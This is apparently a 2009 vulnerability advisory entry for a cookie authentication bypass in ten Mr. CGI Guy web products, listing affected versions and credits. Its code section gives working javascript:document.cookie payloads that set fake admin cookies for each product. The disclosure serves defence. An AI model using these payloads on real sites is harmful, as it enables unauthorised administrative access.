exploits , vulnerabilities , articles , Multiple Mr. CGI Guy Products Cookie Authentication Bypass Vulnerability

Title	Multiple Mr. CGI Guy Products Cookie Authentication Bypass Vulnerability
Published	2009-05-14-12:00AM
Updated	2009-05-14-08:46PM
Class	Access Validation Error
CVE
Remote	Yes
Local	No
Credit	TiGeR-Dz and ThE g0bL!N
Vulnerable	Mr. CGI Guy Ultimate Profit Portal 1.0.1 Mr. CGI Guy The Ticket System PHP 2.0 Mr. CGI Guy The Ticket System 2.0 Mr. CGI Guy SimpLISTic SQL 2.0 Mr. CGI Guy Message Box 1.0 Mr. CGI Guy Hot Links SQLPHP 3.2 Mr. CGI Guy Hot Links SQL 3.2 Mr. CGI Guy Clickbank Directory 1.0.1 Mr. CGI Guy Amazon Directory 2.0 Mr. CGI Guy Amazon Directory 1.0
Not Vulnerable
Code	Attackers can exploit this issue via a browser.The following example data is available:For ClickBank Directory: javascript:document.cookie="clickbank=Logged+In;path=/";For Hot Links SQL and Hot Links SQL-PHP: javascript:document.cookie="admin=logged%20in;path=/";For Amazon Directory: javascript:document.cookie="amazonadmin=logged%20in;path=/";For Message Box: javascript:document.cookie="mbadmin=logged%20in;path=/";For The Ticket System and The Ticket System PHP: javascript:document.cookie="ttc_admin=1%7Cadmin;path=/";For Ultimate Profit Portal: javascript:document.cookie="uppadmin=logged%20in;path=/";For SimpLISTic SQL: javascript:document.cookie="amazonadmin=logged in;path=/";
TXT